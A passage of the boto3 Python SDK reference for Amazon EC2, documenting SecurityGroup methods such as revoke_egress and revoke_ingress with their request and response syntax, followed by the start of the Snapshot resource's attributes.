, traffic on all ports is allowed, regardless of any ports you specify. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. For EC2-VPC, the source security group must be in the same VPC. +* **SourceSecurityGroupOwnerId** (_string_) -- [nondefault VPC] The AWS account ID for the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- + + The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all codes. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes a security group. + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with InvalidGroup.InUse in EC2-Classic or DependencyViolation in EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSecurityGroup) + +**Request Syntax** + +response = security_group.delete( + GroupName='string', + DryRun=True|False +) + +Parameters + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You can specify either the security group name or the security group ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.reload() + +Returns + +None + +revoke_egress(kwargs_) + +[VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The outbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +revoke_ingress(kwargs_) + +Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- The CIDR IP address range. You can't specify this parameter when specifying a source security group. +* **FromPort** (_integer_) -- The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all ICMP types. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a source security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). Use -1 to specify all. +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. For EC2-VPC, the source security group must be in the same VPC. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **SourceSecurityGroupOwnerId** (_string_) -- [EC2-Classic] The AWS account ID of the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all ICMP codes for the ICMP type. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The inbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +[Snapshot](#id1252) +-------------------------------------------------------------- + +_class_ EC2.Snapshot(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Snapshot: + +import boto3 + +ec2 = boto3.resource('ec2') +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Snapshot.id "EC2.Snapshot.id") + +These are the resource's available attributes: + +* [data_encryption_key_id](#EC2.Snapshot.data_encryption_key_id "EC2.Snapshot.data_encryption_key_id") +* [description](#EC2.Snapshot.description "EC2.Snapshot.description") +* [encrypted](#EC2.Snapshot.encrypted "EC2.Snapshot.encrypted") +* [kms_key_id](#EC2.Snapshot.kms_key_id "EC2.Snapshot.kms_key_id") +* [owner_alias](#EC2.Snapshot.owner_alias "EC2.Snapshot.owner_alias") +* [owner_id](#EC2.Snapshot.owner_id "EC2.Snapshot.owner_id") +* [progress](#EC2.Snapshot.progress "EC2.Snapshot.progress") +* [snapshot_id](#EC2.Snapshot.snapshot_id "EC2.Snapshot.snapshot_id") +* [start_time](#EC2.Snapshot.start_time "EC2.Snapshot.start_time") +* [state](#EC2.Snapshot.state "EC2.Snapshot.state") +* [state_message](#EC2.Snapshot.state_message "EC2.Snapshot.state_message") +* [tags](#EC2.Snapshot.tags "EC2.Snapshot.tags") +* [volume_id](#EC2.Snapshot.volume_id "EC2.Snapshot.volume_id") +* [volume_size](#EC2.Snapshot.volume_size "EC2.Snapshot.volume_size") + +These are the resource's available references: + +* [volume](#EC2.Snapshot.volume "EC2.Snapshot.volume") + +These are the resource's available actions: + +* [copy()](#EC2.Snapshot.copy "EC2.Snapshot.copy") +* [create_tags()](#EC2.Snapshot.create_tags "EC2.Snapshot.create_tags") +* [delete()](#EC2.Snapshot.delete "EC2.Snapshot.delete") +* [describe_attribute()](#EC2.Snapshot.describe_attribute "EC2.Snapshot.describe_attribute") +* [get_available_subresources()](#EC2.Snapshot.get_available_subresources "EC2.Snapshot.get_available_subresources") +* [load()](#EC2.Snapshot.load "EC2.Snapshot.load") +* [modify_attribute()](#EC2.Snapshot.modify_attribute "EC2.Snapshot.modify_attribute") +* [reload()](#EC2.Snapshot.reload "EC2.Snapshot.reload") +* [reset_attribute()](#EC2.Snapshot.reset_attribute "EC2.Snapshot.reset_attribute") + +These are the resource's available waiters: + +* [wait_until_completed()](#EC2.Snapshot.wait_until_completed "EC2.Snapshot.wait_until_completed") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Snapshot's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Snapshot.load "EC2.Snapshot.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +data_encryption_key_id + +* _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + +description + +* _(string) --_ + + The description for the snapshot. + + +encrypted + +* _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + +owner_alias + +* _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + +owner_id + +* _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + +progress + +* _(string) --_ + + The progress of the snapshot, as a percentage. + + +snapshot_id + +* _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + +start_time + +* _(datetime) --_ + + The time stamp when the snapshot was initiated. + + +state + +* _(string) --_ + + The snapshot state. + + +state_message + +* _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + +tags + +* _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +volume_id + +* _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID 